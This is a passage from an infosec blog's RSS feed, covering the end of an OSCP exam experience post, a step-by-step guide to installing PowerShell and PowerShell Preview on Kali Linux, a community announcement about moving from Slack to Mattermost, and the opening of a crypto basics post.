&lt;p&gt;With this I started taking 2-3min break and sometimes 15mins breaks as well to clear my head. When you leave your room you will also need to notify the proctor when you are leaving and when you return so that they can document it. Also stay hydrated during the exam. I had two gallons next to my desk to fill up with water to keep my brain working throughout the entire time of the exam. After 24 hours I was able to get enough points to pass the exam and offsec did not give me my extra 30mins that I lossed during the exam. I closed my webcam session and also the screenconnect program and got a cup of coffee to celebrate.&lt;/p&gt;

&lt;p&gt;With me having enough points the clock started for writing the exam report. I was going to try to take a nap but I could not fall asleep due to my adernaline and full of excitement that I felt for passing this exam (Coffee does it’s wonders)! So I stayed up for another 14 hours to write the exam report. I am glad that I built my Exam report ahead of time because I was able to fill the needed information in quicker then creating a whole new tempelate. Once I finalized my exam I double checked everything that I did, made sure my screenshots were correct, and validated the system information before I sent it to offsec. I also included my lab report to send to them as well.&lt;/p&gt;

&lt;p&gt;Once I sent it to them I had to wait for offsec to send me a “Acknowledgement of Receipt” to let me know that they got my reports. 12 hours had passed and they sent me “Acknowledgement of Receipt” letting me know that they got my reports.I submitted my report on Friday and I received my exam results on Monday at 9am giving me the wonderful news that I worked hard to receive:&lt;/p&gt;

&lt;p&gt;4 years of hard work paid off on my first exam attempt!&lt;/p&gt;

&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts:&lt;/h3&gt;

&lt;p&gt;I have to say my OSCP journey was one the most fun, technically challenging, and absolute amazing experience of my life. I am very glad that I started it last year and was able to start the new year with being OSCP certified. I just wish I did not put it off as much as I did even though my employer gave me a lot of SANS courses and other trainings to prep for it. As you can already tell I put an extreme amount of effort into my study time then I did in the entire course alone. I now understand why Offsec uses the motto “Try Harder” because in honesty that is what you have to do to get through the labs and the exam.&lt;/p&gt;

&lt;p&gt;No matter what happens never give up! If you are stuck or are having issues take a step back think about what you have tried. If my journey gave you some advice and motivation to take the OSCP then I wish you the best on the journey ahead. It is not an easy exam but work hard and you will certainly be rewarded. If you do not think you are ready for the course do not worry or even stress about it. Remember to look over the resources I posted earlier to help prepare for it.&lt;/p&gt;

&lt;h3 id=&quot;future-plans&quot;&gt;Future Plans?&lt;/h3&gt;

&lt;p&gt;1 offsec cert down…two more to go! My plan is to go for OSCE and OSEE. I also want to start getting more into red teaming and learn more about Cobalt Strike. During that time, I am working on building an ethical hacking class and also an updated OSCP Noob Friendly guide that I hope to release soon (Thanks Abatchy for your permission 😉).&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion:&lt;/h3&gt;

&lt;p&gt;I certainly hope you enjoyed reading my exeperience with OSCP. I know someone is going too see some typos in here but in the end we are all not perfect so :D. Not to mention I covered a lot of things but that is what I do in general really. DETAILS DETAILS DETAILS!&lt;/p&gt;

&lt;p&gt;If you wish to find me, I am usually attending security conference for fun to learn more about InfoSec from the community or competing in CTF’s for fun as well! You can find me on NetSecfocus and on Twitter as well. Thank you again for reading this and I certainly hope that you enjoyed it 😊.&lt;/p&gt;

&lt;p&gt;-Tjnull
Twitter: (&lt;a href=&quot;https://twitter.com/tj_null&quot;&gt;@TJ_Null&lt;/a&gt;)&lt;/p&gt;
</description>
            <pubDate>Tue, 29 Jan 2019 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Installing Powershell and Powershell Preview on Kali Linux</title>
            <link>/infosec/tools/2018/09/25/Installing_Powershell_and_Powershell_Preview_on_Kali_Linux.html</link>
            <guid isPermaLink="true">/infosec/tools/2018/09/25/Installing_Powershell_and_Powershell_Preview_on_Kali_Linux.html</guid>
            <description>&lt;h1 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#Introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Installing-Powershell&quot;&gt;Installing Powershell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#changelog&quot;&gt;Changelog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#Conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#References&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction:&lt;/h1&gt;

&lt;p&gt;A long time ago, Kali Linux released an article about how you can now install PowerShell on Kali Linux. Here is the link and instructions:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/https://www.kali.org/tutorials/installing-PowerShell-on-kali-linux/&quot;&gt;https://www.kali.org/tutorials/installing-PowerShell-on-kali-linux&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you follow the instructions you will notice that we need another package to install PowerShell:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# apt &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;PowerShell
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may &lt;span class=&quot;nb&quot;&gt;help &lt;/span&gt;to resolve the situation:

The following packages have unmet dependencies:
PowerShell: Depends: libcurl3 but it is not going to be installed
E: Unable to correct problems, you have held broken packages.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Currently Kali Linux 2018.3 already contains libcurl4 and if we try to install libcurl3 you should see something like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;libcurl3
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be REMOVED:
curl libcurl4 Metasploit-framework
The following NEW packages will be installed:
libcurl3
0 upgraded, 1 newly installed, 3 to remove and 0 not upgraded.
Need to get 260 kB of archives.
After this operation, 250 MB disk space will be freed.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are also other packages that use libcurl4 but it surprised me that Metasploit would be removed if I reverted back to libcurl3.&lt;/p&gt;

&lt;p&gt;With this issue I wanted to investigate further and see if I can find a resolution. PowerShell offers two package versions for Debian (Jessie and Stretch)&lt;/p&gt;

&lt;p&gt;You can find them here:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Jessie: https://packages.microsoft.com/repos/microsoft-debian-jessie-prod/pool/main/p/

Stretch: https://packages.microsoft.com/repos/microsoft-debian-stretch-prod/pool/main/p/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I tested the installation for all of the PowerShell packages in stretch and jessie and all of them required libcurl3&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Stretch and Jessie packages that requires libcurl3: 
PowerShell_6.0.0-1.deb                             10-Jan-2018 17:47            51924632
PowerShell_6.0.1-1.deb                             25-Jan-2018 18:31            52137558
PowerShell_6.0.2-1.deb                             15-Mar-2018 17:32            52192714
PowerShell_6.0.3-1.deb                             19-Jul-2018 21:29            52503432
PowerShell_6.0.4-1.deb                             10-Aug-2018 00:11            52557832
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This made no sense to me that both Stretch and Jessie need libcurl3 to run. &lt;a href=&quot;https://github.com/PowerShell/PowerShell/issues/7719&quot;&gt;I submitted an issue to PowerShell on GitHub&lt;/a&gt; to get a better understanding
on why PowerShell needed libcurl3. Turns out I got the answer I was looking for:&lt;/p&gt;

&lt;p&gt;“PowerShell Core and CoreFX no longer has a dependency on libcurl &lt;a href=&quot;https://github.com/PowerShell/PowerShell/issues/6964&quot;&gt;See GitHub issue #6964&lt;/a&gt;.”&lt;/p&gt;

&lt;p&gt;So why does the PowerShell package for Debian need libcurl3 if it is no longer a dependency? Since PowerShell for Kali is only supported by the community, 
I wanted to raise the issue to Kali Linux team about this. When I spoke with them they were aware that PowerShell for Kali was not working and were looking into it as well. A few days later I finally figured out that the PowerShell Debian repositories have not been updated properly for Kali Linux. The PowerShell team told me that they would fix this in the new release which was going to be released very soon.&lt;/p&gt;

&lt;p&gt;The reason why they were going to push this in the new release is because “PSCore6.0.x depends on .NET Core 2.0.x which DOES depend on libcurl. PSCore6.1 depends on .NET Core 2.1.x which does NOT depend on libcurl.”&lt;/p&gt;

&lt;p&gt;As the PowerShell team was working on updating the new release I found a workaround that you could use PowerShell preview on Kali Linux 2018.3. These packages do not require the libcurl3 dependency and you can install the following packages below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Stretch: 
PowerShell-preview_6.1.0~preview.3-1.deb           13-Jun-2018 00:12            59438156
PowerShell-preview_6.1.0~preview.4-1.deb           19-Jul-2018 21:13            57913672
PowerShell-preview_6.1.0~rc.1-1.deb                22-Aug-2018 01:09            56712364

Jessie: 
PowerShell-preview_6.1.0~preview.3-1.deb           13-Jun-2018 00:12            59438156
PowerShell-preview_6.1.0~preview.4-1.deb           19-Jul-2018 21:13            57913672
PowerShell-preview_6.1.0~rc.1-1.deb                22-Aug-2018 01:09            56712364  

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;installing-powershell&quot;&gt;Installing PowerShell:&lt;/h3&gt;

&lt;p&gt;First, we need to download and add the public repository GPG key so APT will trust the packages and alert you to any issues with package signatures:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Second, Once the GPG key has been added, we need to add the Microsoft package repository to its own package list file under /etc/apt/sources.list.d/ 
This will allow us to also pull any updated packages that the PowerShell team will release in the future:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/apt/sources.list.d/PowerShell.list
apt update
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Third we will need to install the following dependency packages below to continue the installation. You can download the package here:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;libicu57: https://packages.debian.org/stretch/amd64/libicu57/download
icu-devtools: https://packages.debian.org/stretch/amd64/icu-devtools/download
liblttng-ust0: https://packages.debian.org/stretch/amd64/liblttng-ust0/download
liburcu4: https://packages.debian.org/stretch/amd64/liburcu4/download
liblttng-ust-ctl2: https://packages.debian.org/stretch/amd64/liblttng-ust-ctl2/download
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Install the packages in the following order here:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; liburcu4_0.9.3-1_amd64.deb 
Selecting previously unselected package liburcu4:amd64.
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 341730 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack liburcu4_0.9.3-1_amd64.deb ...
Unpacking liburcu4:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.9.3-1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up liburcu4:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.9.3-1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;libc-bin &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.27-5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...

root@kali:~# dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; liblttng-ust-ctl2_2.9.0-2+deb9u1_amd64.deb 
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 341748 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack liblttng-ust-ctl2_2.9.0-2+deb9u1_amd64.deb ...
Unpacking liblttng-ust-ctl2:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.9.0-2+deb9u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; over &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.9.0-2+deb9u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up liblttng-ust-ctl2:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.9.0-2+deb9u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;libc-bin &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.27-5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...

root@kali:~# dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; liblttng-ust0_2.9.0-2+deb9u1_amd64.deb 
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 341748 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack liblttng-ust0_2.9.0-2+deb9u1_amd64.deb ...
Unpacking liblttng-ust0:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.9.0-2+deb9u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; over &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.9.0-2+deb9u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up liblttng-ust0:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.9.0-2+deb9u1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;libc-bin &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.27-5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...

root@kali:~# dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; libicu57_57.1-6+deb9u2_amd64.deb 
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 429929 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack libicu57_57.1-6+deb9u2_amd64.deb ...
Unpacking libicu57:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;57.1-6+deb9u2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; over &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;57.1-6+deb9u2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up libicu57:amd64 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;57.1-6+deb9u2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;libc-bin &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.28-8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...

root@kali:~# dpkg &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; icu-devtools_57.1-6+deb9u2_amd64.deb 
Selecting previously unselected package icu-devtools.
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 341748 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack icu-devtools_57.1-6+deb9u2_amd64.deb ...
Unpacking icu-devtools &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;57.1-6+deb9u2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up icu-devtools &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;57.1-6+deb9u2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;man-db &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.8.3-2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once you have installed the following packages you can now install PowerShell preview on your system:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;PowerShell-preview
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  PowerShell-preview
0 upgraded, 1 newly installed, 0 to remove and 843 not upgraded.
Need to get 56.7 MB of archives.
After this operation, 153 MB of additional disk space will be used.
Get:1 https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch/main amd64 PowerShell-preview amd64 6.1.0~rc.1-1.debian.9 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;56.7 MB]
Fetched 56.7 MB &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;4s &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;15.7 MB/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;             
Selecting previously unselected package PowerShell-preview.
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 341785 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack .../PowerShell-preview_6.1.0~rc.1-1.debian.9_amd64.deb ...
Unpacking PowerShell-preview &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;6.1.0~rc.1-1.debian.9&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up PowerShell-preview &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;6.1.0~rc.1-1.debian.9&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;man-db &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.8.3-2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To run PowerShell preview in your console, type the following command pwsh-preview. You should see a new prompt that starts with “PS”. If you see this prompt then you have successfully installed PowerShell!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# pwsh-preview
PowerShell 6.1.0-rc.1
Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type &lt;span class=&quot;s1&quot;&gt;&apos;help&apos;&lt;/span&gt; to get help.

PS /root&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;changelog&quot;&gt;Changelog&lt;/h1&gt;

&lt;h3 id=&quot;september-16-2018&quot;&gt;September 16 2018:&lt;/h3&gt;

&lt;p&gt;The PowerShell team on GitHub was able to release a new version of PowerShell. Below are the versions that currently work in Kali Linux:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Stretch: PowerShell_6.1.0-1.deb 13-Sep-2018 00:34 58286110
Jessie:  PowerShell_6.1.0-1.deb 13-Sep-2018 00:33 58287274  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you have installed PowerShell preview on your Kali system, all you need to do is run apt-get install PowerShell: 
Note: If you did not install PowerShell preview, please refer to the installation guidelines. You will need to have the following depended packages that were used in PowerShell-preview to run PowerShell on kali:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;PowerShell
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  PowerShell
0 upgraded, 1 newly installed, 0 to remove and 843 not upgraded.
Need to get 0 B/58.3 MB of archives.
After this operation, 158 MB of additional disk space will be used.
Selecting previously unselected package PowerShell.
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Reading database ... 342275 files and directories currently installed.&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
Preparing to unpack .../PowerShell_6.1.0-1.debian.9_amd64.deb ...
Unpacking PowerShell &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;6.1.0-1.debian.9&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Setting up PowerShell &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;6.1.0-1.debian.9&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
Processing triggers &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;man-db &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;2.8.3-2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To run PowerShell, make sure you type the following command: pwsh
You should see a new prompt appear with “PS”&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# pwsh
PowerShell 6.1.0
Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type &lt;span class=&quot;s1&quot;&gt;&apos;help&apos;&lt;/span&gt; to get help.

PS /root&amp;gt; &lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;root@kali:~# pwsh-preview
PowerShell 6.1.0-rc.1
Copyright &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type &lt;span class=&quot;s1&quot;&gt;&apos;help&apos;&lt;/span&gt; to get help.

PS /root&amp;gt;    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What I also found interesting is you can have PowerShell and PowerShell-preview running on the system :D&lt;/p&gt;

&lt;h3 id=&quot;march-28-2019&quot;&gt;March 28 2019&lt;/h3&gt;

&lt;p&gt;Powershell version (powershell_6.2.0-1.deb 28-Mar-2019 19:05 57864528) works fine in Kali Linux. No changes were made to the installation guide.&lt;/p&gt;

&lt;h3 id=&quot;may-21-2019&quot;&gt;May 21 2019&lt;/h3&gt;

&lt;p&gt;Powershell Version (powershell_6.2.1-1.deb 21-May-2019 18:03 57853712) works fine in Kali Linux. No changes were made to the installation guide.&lt;/p&gt;

&lt;h3 id=&quot;may-30-2019&quot;&gt;May 30 2019&lt;/h3&gt;

&lt;p&gt;Powershell-Preview version: (powershell-preview_7.0.0-preview.1-1.deb 30-May-2019 21:29 53267226) works in Kali Linux. There are a few cmdlets that need to be tweaked. Example Update-Help does not pull any updates for the powershell commands.&lt;/p&gt;

&lt;h3 id=&quot;august-14-2019&quot;&gt;August 14 2019&lt;/h3&gt;

&lt;p&gt;Powershell-Preview: (powershell-preview_7.0.0-preview.2-1.deb 17-Jul-2019 20:56 54033798) works in Kali Linux. There are still a few cmdlets that need to be tweaked and updated.&lt;/p&gt;

&lt;p&gt;Will be working with the Kali Linux team on making an app image that will be fully installed on Kali Linux in the future :D&lt;/p&gt;

&lt;h3 id=&quot;september-6-2019&quot;&gt;September 6 2019&lt;/h3&gt;

&lt;p&gt;Powershell and Powershell Preview can now be installed on Kali through the Kali Linux repository! To install powershell and powershell preview on Kali Linux you will need to type the following commands:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;powershell

apt &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;powershell-preview. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Kali will do the rest for you as there is no need for manual installation (Unless you want to!). I want to give a huge shout out to raphaël hertzog and the Kali Linux team as we were able to finally get it ported and working on Kali Linux repos! :D&lt;/p&gt;

&lt;p&gt;Twitter Proof: https://twitter.com/kalilinux/status/1170069546012745728&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion:&lt;/h1&gt;

&lt;p&gt;I really want to thank the PowerShell team and the guys at Kali for getting this issue fixed in a quick manner. I hope you have enjoyed this post and will enjoy testing PowerShell on Kali Linux :)&lt;/p&gt;

&lt;p&gt;If you have any questions or issues trying to install PowerShell on Kali please let me know. You can find me on twitter (&lt;a href=&quot;https://twitter.com/tj_null&quot;&gt;@TJ_Null&lt;/a&gt;) and in the NetSec Focus community platform at &lt;a href=&quot;https://mm.netsecfocus.com/join/&quot;&gt;https://mm.netsecfocus.com/join/&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;

&lt;p&gt;GitHub Issue: &lt;a href=&quot;https://github.com/PowerShell/PowerShell/issues/7719&quot;&gt;https://github.com/PowerShell/PowerShell/issues/7719&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kali: &lt;a href=&quot;https://bugs.kali.org/view.php?id=4958&quot;&gt;https://bugs.kali.org/view.php?id=4958&lt;/a&gt;&lt;/p&gt;
</description>
            <pubDate>Tue, 25 Sep 2018 00:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Down with Slack. Mattermost FTW!</title>
            <link>/community/2018/03/27/mattermost_ftw.html</link>
            <guid isPermaLink="true">/community/2018/03/27/mattermost_ftw.html</guid>
            <description>&lt;p&gt;Many of you may already know this, but as of March 15, 2017 NetSecFocus decided to migrate our community to our own Mattermost server. There were a few reasons for this with the main reasons being message retention in Slack. At our volume messages were only lasting for a maximum of 10 hours which made it impossible to search for anything meaningful. Due to this and the impossibility of paying about $12k USD/month for Slack we decided to ditch it for something better.&lt;/p&gt;

&lt;p&gt;After many months of testing various chat platforms, we decided Mattermost was the best compatible for us. Since it’s open source, we could also make some customizations that make it fit us even better than Slack ever will.&lt;/p&gt;

&lt;p&gt;On March 24, 2017, we deleted our old Slack workspace. RIP&lt;/p&gt;

&lt;p&gt;If you haven’t joined us on Mattermost yet, please do! You can connect to us at https://chat.netsecfocus.com/join. Should you have any issues connecting to that at work, you can also use https://mm.netsecfocus.com/join to bypass some proxys looking for the word “chat” in the hostname. You can use the web app, desktop or mobile apps as well. Some of our users have reported that the Android beta app has been more stable for them. Those of you thinking “omg another app I have to install” or “omg another brower tab”, well you can look into using http://rambox.pro to concatenate all of your messaging into one app! For you IRC/Terminal lovers our there, we haven’t left you behind like Slack has! You can use Matterhorn to connect to us after sign up: https://github.com/matterhorn-chat/matterhorn&lt;/p&gt;

&lt;p&gt;We thank our community for growing so large over the last 1.5yrs and we hope to grow even larger and build something truely valueable in our industry. We’ll see you on Mattermost!&lt;/p&gt;
</description>
            <pubDate>Tue, 27 Mar 2018 17:00:00 +0000</pubDate>
        </item>
        
        <item>
            <title>Crypto 101: The Basics</title>
            <link>/crypto/tutorial/2017/06/09/crypto_101.html</link>
            <guid isPermaLink="true">/crypto/tutorial/2017/06/09/crypto_101.html</guid>
            <description>&lt;p&gt;Well I finally got my finger out and put together the first in a series of talks on crypto. Thank you for those that joined live and for the subsequent feedback.&lt;/p&gt;

&lt;p&gt;This session covered some of the principles of cryptography and the lexicon, then focused on what happens during a TLS run. We delved into the Diffie-Hellman secret agreement protocol (you should now know the difference)as well as the weaknesses, mitigation,and other related protocols.&lt;/p&gt;

